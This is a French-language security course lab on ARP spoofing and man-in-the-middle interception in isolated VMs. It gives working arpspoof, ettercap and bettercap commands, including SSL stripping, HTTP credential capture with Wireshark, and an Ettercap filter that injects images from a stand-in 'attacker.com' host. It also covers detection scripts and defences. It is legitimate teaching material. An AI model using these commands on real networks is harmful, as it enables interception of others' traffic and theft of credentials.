Lab 5.3: ARP Spoofing et Man-in-the-Middle
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Comprendre le protocole ARP et ses vulnérabilités
- Réaliser une attaque ARP spoofing entre deux machines
- Se positionner en Man-in-the-Middle sur un réseau
- Intercepter et analyser le trafic réseau en temps réel
- Capturer des credentials transmis en clair
- Détecter une attaque ARP spoofing active
- Implémenter des protections contre ARP spoofing
- Comprendre l'importance du chiffrement
Durée Estimée
40 minutes
Prérequis
- 3 VMs: Attaquant (Kali), Victime (Windows), Router/Gateway (Windows ou Linux)
- Réseau interne VirtualBox
- Wireshark installé
- Compréhension du modèle OSI et TCP/IP
- Labs 5.1 et 5.2 complétés
Contexte Professionnel
Les attaques Man-in-the-Middle (MitM) via ARP spoofing permettent à un attaquant sur le même réseau local de:
- Intercepter toutes les communications
- Voler des credentials (HTTP, FTP, Telnet)
- Modifier le trafic en transit
- Rediriger vers des sites malveillants
- Effectuer du phishing ciblé
Utilisé dans:
- Tests de pénétration interne
- Démonstrations de sécurité
- Attaques sur réseaux WiFi publics
- Espionnage industriel
- Vol de sessions
AVERTISSEMENT ÉTHIQUE ET LÉGAL - CRITIQUE
CE LAB ENSEIGNE UNE ATTAQUE ACTIVE SUR RÉSEAU
ARP spoofing est une attaque qui intercepte les communications d'autrui.
AUTORISÉ UNIQUEMENT:
- Sur votre réseau de lab isolé (VMs)
- Sur des systèmes de test dont vous êtes propriétaire
- Dans le cadre de tests autorisés par contrat écrit
- Avec consentement explicite de toutes les parties
STRICTEMENT INTERDIT ET ILLÉGAL:
- Sur réseaux WiFi publics (cafés, aéroports, bibliothèques)
- Sur réseau d'entreprise sans autorisation
- Pour intercepter communications d'autrui
- Pour vol de credentials ou espionnage
CONSÉQUENCES EXTRÊMEMENT GRAVES:
- Interception de communications = Crime grave (Code criminel art. 184)
- Comparable à écoute électronique
- Prison jusqu'à 5 ans
- Amendes massives
- Casier judiciaire permanent
CONFIGURATION OBLIGATOIRE:
- Réseau VMs en mode INTERNE uniquement
- Aucun accès Internet
- Environnement complètement isolé
Partie 1: Comprendre ARP et ses Vulnérabilités
Étape 1.1: Protocole ARP (Address Resolution Protocol)
Rôle: Convertir adresse IP en adresse MAC
Exemple:
PC veut communiquer avec 192.168.100.20
PC ne connaît que l'IP, pas l'adresse MAC
PC broadcast: "Qui a l'IP 192.168.100.20?"
192.168.100.20 répond: "C'est moi! Mon MAC est AA:BB:CC:DD:EE:FF"
PC peut maintenant envoyer des paquets Ethernet
Table ARP:
arp -a
Résultat:
Interface: 192.168.100.10
Internet Address Physical Address Type
192.168.100.1 00-11-22-33-44-55 dynamic
192.168.100.20 AA-BB-CC-DD-EE-FF dynamic
Problème: ARP n'a AUCUNE authentification!
- N'importe qui peut répondre
- Pas de vérification d'identité
- Confiance aveugle
Étape 1.2: Vulnérabilité d'ARP
Attaque ARP Spoofing (ARP Poisoning):
- Attaquant envoie de fausses réponses ARP
- Victime croit que l'IP du router = MAC de l'attaquant
- Router croit que l'IP de la victime = MAC de l'attaquant
- Tout le trafic passe par l'attaquant!
Schéma:
AVANT:
Victime (192.168.100.20) <---> Router (192.168.100.1)
APRÈS ARP Spoofing:
Victime (192.168.100.20) <---> Attaquant (192.168.100.10) <---> Router (192.168.100.1)
↑
Man-in-the-Middle!
Questions:
- Pourquoi ARP est-il vulnérable par design?
- Sur quel réseau cette attaque fonctionne-t-elle? (Local/Internet)
Partie 2: Configuration du Lab
Étape 2.1: Architecture du Lab
3 VMs nécessaires:
VM1 - Attaquant (Kali Linux):
IP: 192.168.100.10
MAC: [Notez-la]
Rôle: Effectuer l'ARP spoofing
VM2 - Victime (Windows):
IP: 192.168.100.20
MAC: [Notez-la]
Rôle: Cible de l'attaque
VM3 - Gateway/Router (Windows ou Linux):
IP: 192.168.100.1
MAC: [Notez-la]
Rôle: Passerelle réseau (simulée)
Réseau: Internal Network "MitmLab"
Sur chaque VM, vérifiez:
# Linux
ip addr
ip route
# Windows
ipconfig
route print
Étape 2.2: Noter les Adresses MAC
Sur chaque VM:
Linux:
ip addr show
# Cherchez "link/ether"
Windows:
ipconfig /all
# Cherchez "Adresse physique"
Notez:
VM1 (Attaquant): IP: 192.168.100.10 MAC: 08:00:27:XX:XX:XX
VM2 (Victime): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (Gateway): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ
Étape 2.3: Vérifier Connectivité Initiale
Sur VM2 (Victime), vérifiez la table ARP:
arp -a
Vous devriez voir:
192.168.100.1 00-11-22-33-44-55 (MAC du vrai gateway)
192.168.100.10 08-00-27-XX-XX-XX (MAC de l'attaquant)
Pingez le gateway:
ping 192.168.100.1
Fonctionne normalement.
Questions: 3. Quelle est l'adresse MAC actuelle du gateway dans la table ARP de la victime? 4. Combien d'entrées ARP sont présentes?
Partie 3: Attaque ARP Spoofing
Étape 3.1: Activation du Forwarding IP
Sur VM1 (Attaquant), AVANT de lancer l'attaque:
Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
OU
sysctl -w net.ipv4.ip_forward=1
Vérification:
cat /proc/sys/net/ipv4/ip_forward
Devrait afficher: 1
IMPORTANT: Sans IP forwarding, le trafic est bloqué (DoS au lieu de MitM)!
Étape 3.2: Lancement de l'Attaque avec arpspoof
arpspoof (outil classique):
Terminal 1 - Empoisonner la Victime:
sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
Commande:
-i eth0- Interface réseau-t 192.168.100.20- Target (victime)192.168.100.1- IP à usurper (gateway)
Résultat:
8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx
Répète continuellement: "Le gateway (192.168.100.1) a MON adresse MAC!"
Terminal 2 - Empoisonner le Gateway:
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20
Dit au gateway: "La victime (192.168.100.20) a MON adresse MAC!"
MAINTENANT: Attaque MitM active!
Étape 3.3: Vérification de l'Attaque
Sur VM2 (Victime), vérifiez la table ARP:
arp -a
AVANT l'attaque:
192.168.100.1 00-11-22-33-44-55 (MAC du vrai gateway)
APRÈS l'attaque:
192.168.100.1 08-00-27-XX-XX-XX (MAC de l'ATTAQUANT!)
La table ARP a été empoisonnée!
Victime pense que le gateway = attaquant!
Testez:
ping 192.168.100.1
Le ping fonctionne (grâce à IP forwarding), mais passe par l'attaquant!
Questions: 5. L'adresse MAC du gateway a-t-elle changé dans la table ARP de la victime? 6. Le trafic passe-t-il maintenant par l'attaquant?
Partie 4: Interception de Trafic
Étape 4.1: Capture avec Wireshark
Sur VM1 (Attaquant), lancez Wireshark:
sudo wireshark &
- Sélectionnez l'interface réseau (eth0)
- Démarrez la capture
- TOUT le trafic de la victime est capturé!
Sur VM2 (Victime), générez du trafic:
ping google.com
Sur Wireshark (VM1):
- Filtrez:
icmp - Vous voyez les pings de la VICTIME!
Vous interceptez le trafic d'une autre machine!
Étape 4.2: Capture de Credentials HTTP
Sur VM2 (Victime), visitez un site HTTP (non HTTPS):
Sites de test légaux:
Sur VM1 (Wireshark), filtrez:
http
Vous voyez:
- Toutes les requêtes HTTP
- Headers complets
- User-Agent
- Cookies
- Credentials en clair si login!
Follow HTTP Stream:
- Clic droit sur paquet HTTP
- Follow → HTTP Stream
- Conversation complète visible!
Si site de login HTTP:
POST /login HTTP/1.1
Host: example.com
username=admin&password=SecretPassword123
Mot de passe CAPTURÉ en clair!
Étape 4.3: Différence HTTP vs HTTPS
Sur VM2, visitez maintenant:
https://google.com
Sur Wireshark:
- Filtrez:
tlsoussl - Vous voyez la connexion chiffrée
- Impossible de voir le contenu!
Données chiffrées:
Content Type: Application Data
Encrypted Application Data: <données illisibles>
Comparaison:
- HTTP: TOUT visible (URL, headers, passwords, contenu)
- HTTPS: Seulement IP destination visible, contenu chiffré
Questions: 7. Avez-vous réussi à capturer du trafic HTTP de la victime? 8. Pouvez-vous voir le contenu des requêtes HTTPS?
Partie 5: Outils Avancés de MitM
Étape 5.1: Ettercap (Complet et Graphique)
Ettercap: Outil MitM avec GUI et fonctionnalités avancées
Lancement:
sudo ettercap -G
Configuration:
- Sniff → Unified sniffing
- Sélectionnez interface (eth0)
- Hosts → Scan for hosts
- Hosts → Hosts list
- Sélectionnez Victime → Add to Target 1
- Sélectionnez Gateway → Add to Target 2
- MitM → ARP poisoning
- Cochez "Sniff remote connections"
- Start → Start sniffing
BOOM! Attaque MitM active avec GUI!
Fonctionnalités:
- Détection automatique d'hôtes
- ARP poisoning en un clic
- Capture de passwords automatique
- Filters pour modifier le trafic
- Logs détaillés
Étape 5.2: Filters Ettercap (Modification de Trafic)
Ettercap peut MODIFIER le trafic en transit!
Exemple de filter: Remplacer images par autres images
Créez replace.filter:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}
Compilation:
etterfilter replace.filter -o replace.ef
Utilisation dans Ettercap:
Filters → Load a filter → replace.ef
Résultat: Toutes les images sur sites HTTP sont remplacées!
Étape 5.3: Bettercap (Moderne)
Outil moderne et puissant:
sudo bettercap -iface eth0
Commandes interactives:
# Découverte réseau
net.probe on
net.show
# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on
# Capture credentials
set net.sniff.verbose true
net.sniff on
# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on
Interface web:
sudo bettercap -iface eth0 -caplet http-ui
Accès: http://127.0.0.1:80 (interface web complète!)
Questions: 9. Quel outil préférez-vous (arpspoof, ettercap, bettercap)? 10. Bettercap peut-il downgrader HTTPS vers HTTP?
Partie 6: Détection d'ARP Spoofing
Étape 6.1: Détection Manuelle
Sur une machine, surveiller la table ARP:
PowerShell:
while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}
Observation:
- Si une IP change de MAC fréquemment: SUSPECT!
- Si deux IPs ont la même MAC: ARP SPOOFING!
Exemple d'anomalie:
192.168.100.1 08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- MÊME MAC = ATTAQUE!
Étape 6.2: Détection avec Outils
arpwatch (Linux):
sudo apt install arpwatch
sudo arpwatch -i eth0
Logs dans: /var/log/arpwatch.log
Alerte sur:
- Nouveaux hôtes
- Changements de MAC
- Flip-flop (MAC change puis revient)
XArp (Windows):
- Outil GUI pour monitoring ARP
- Alertes en temps réel
- Gratuit
Script PowerShell de détection:
$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}
while ($true) {
Start-Sleep -Seconds 5
$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}
# Comparer
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}
$baseline = $current.Clone()
}
Étape 6.3: Détection Réseau
Avec Nmap:
nmap --script=arp-scan 192.168.100.0/24
Détecte:
- Duplications d'adresses MAC
- Réponses ARP suspectes
Questions: 11. Votre script de détection alerte-t-il pendant l'attaque? 12. Combien de temps faut-il pour détecter l'attaque?
Partie 7: Défenses contre ARP Spoofing
Étape 7.1: ARP Statique
Définir entrées ARP statiques (non modifiables):
arp -s 192.168.100.1 00-11-22-33-44-55
Vérification:
arp -a
Type: static au lieu de dynamic
Avantage: Immune à ARP spoofing!
Inconvénient: Configuration manuelle, maintenance difficile
Étape 7.2: Port Security (Switch)
Sur un switch géré:
Configuration port security pour:
- Limiter nombre de MACs par port
- Lier MAC à port spécifique
- Shutdown port si violation
Exemple configuration Cisco:
interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky
Résultat: Une seule MAC autorisée par port, changement = shutdown!
Étape 7.3: Solutions Logicielles
Windows:
- XArp (monitoring et alertes)
- ArpON (daemon de protection)
Linux:
- arpwatch (monitoring)
- ArpON (protection active)
Pare-feu:
- Règles pour bloquer trafic anormal
- Inspection ARP
Segmentation:
- VLANs pour isoler zones sensibles
- Limiter portée des attaques MitM
Questions: 13. Quelle méthode de protection est la plus efficace? 14. Est-il réaliste de configurer ARP statique sur un grand réseau?
Partie 8: Scénarios Réels
Étape 8.1: WiFi Public Attack
Scénario typique:
- Café avec WiFi public
- Attaquant se connecte au même réseau
- Lance ARP spoofing
- Intercepte TOUT le trafic des clients
- Capture credentials, cookies, données
Données capturées:
- Logins sur sites HTTP
- Cookies de session
- Emails (si POP3/IMAP non chiffré)
- FTP credentials
- Recherches web
Protection utilisateur:
- VPN sur WiFi public (OBLIGATOIRE!)
- Uniquement HTTPS
- Pas de banking/email sur WiFi public
Étape 8.2: Réseau d'Entreprise
Attaquant interne ou via phishing:
- Compromission initiale d'un poste
- ARP spoofing sur le segment réseau
- Interception de trafic
- Capture de credentials domaine
- Lateral movement avec credentials volés
- Compromission complète du réseau
Temps: Peut prendre quelques heures seulement!
Étape 8.3: Attaque Combinée
ARP Spoofing + DNS Spoofing:
- MitM actif via ARP
- Modifier réponses DNS
- Rediriger vers faux sites (phishing)
- Vol de credentials même sur HTTPS (avec certificat auto-signé + warning ignoré)
Avec Ettercap:
- DNS spoofing intégré
- Modification de trafic
- SSL stripping (downgrade HTTPS → HTTP)
Questions: 15. Pourquoi les réseaux WiFi publics sont-ils particulièrement dangereux? 16. Comment un VPN protège-t-il contre ARP spoofing?
Livrables
À remettre:
-
Rapport d'attaque MitM (Word/PDF, 4-5 pages):
- Réponses aux 16 questions
- Description complète de l'architecture du lab
- Méthodologie d'attaque étape par étape
- Analyse du trafic capturé
- Temps requis pour l'attaque
-
Captures d'écran (minimum 8):
- Table ARP AVANT l'attaque (victime)
- Table ARP APRÈS l'attaque (victime modifiée)
- arpspoof en action (terminal)
- Wireshark capturant trafic de la victime
- HTTP stream avec credentials visibles
- HTTPS stream (chiffré)
- Ettercap interface
- Script de détection alertant
-
Fichiers de capture:
- Wireshark .pcapng avec trafic intercepté
- Logs ettercap ou bettercap
-
Documentation de défense (2 pages):
- Mesures de détection recommandées
- Solutions de protection par couche (réseau, host, application)
- Politique de sécurité WiFi
Critères d'Évaluation
| Critère | Points |
|---|---|
| Attaque ARP spoofing réussie | 30% |
| Interception et analyse de trafic | 25% |
| Détection d'attaque active | 20% |
| Compréhension des défenses | 15% |
| Qualité documentation et captures | 10% |
Commandes de Référence Rapide
Preparation
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
ARP Spoofing
# arpspoof
sudo arpspoof -i eth0 -t VICTIME GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIME
# ettercap
sudo ettercap -T -M arp:remote /VICTIME// /GATEWAY//
sudo ettercap -G # GUI
# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIME
> arp.spoof on
Détection
arp -a # Vérifier table ARP
arpwatch -i eth0 # Monitoring
nmap --script arp-scan NETWORK
Nettoyage
# Arrêter arpspoof: Ctrl+C
# Sur victime, vider cache ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux
Dépannage
Problème: Victime perd connectivité pendant l'attaque
Solution: IP forwarding pas activé sur l'attaquant. Vérifiez:
cat /proc/sys/net/ipv4/ip_forward
Doit être 1.
Problème: Ne capture aucun trafic
Solutions:
- Vérifiez que les deux arpspoof tournent (victime ET gateway)
- Vérifiez que Wireshark écoute sur la bonne interface
- Générez du trafic depuis la victime
Problème: Table ARP ne change pas
Solution:
- arpspoof tourne-t-il vraiment? Vérifiez output
- Pare-feu peut bloquer ARP
- Certains switches ont protection ARP (Port Security)
Conclusion
Ce lab vous a enseigné:
- Protocole ARP et ses vulnérabilités fondamentales
- Réalisation d'attaque Man-in-the-Middle via ARP spoofing
- Interception de trafic réseau en temps réel
- Capture de credentials transmis en clair
- Détection d'attaques ARP actives
- Mesures de protection multi-couches
Leçons clés:
- ARP n'a aucune sécurité par design (confiance aveugle)
- Attaquant sur réseau local peut intercepter TOUT le trafic non chiffré
- HTTP est complètement vulnérable à MitM
- HTTPS protège contre interception (importance du chiffrement)
- WiFi public = Danger extrême sans VPN
- Détection possible mais protection complexe
Prise de conscience:
- Plus JAMAIS utiliser HTTP pour données sensibles
- VPN obligatoire sur WiFi public
- Chiffrement = Seule vraie protection
- Réseau local ≠ Réseau sûr
Synthèse MODULE 5:
Vous maîtrisez maintenant la reconnaissance réseau complète:
- Lab 5.1: Nmap (cartographie réseau, détection de vulnérabilités)
- Lab 5.2: DNS enumeration (découverte d'infrastructure)
- Lab 5.3: ARP spoofing (interception active)
Combinées, ces techniques permettent une reconnaissance et compromission réseau complète!
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 5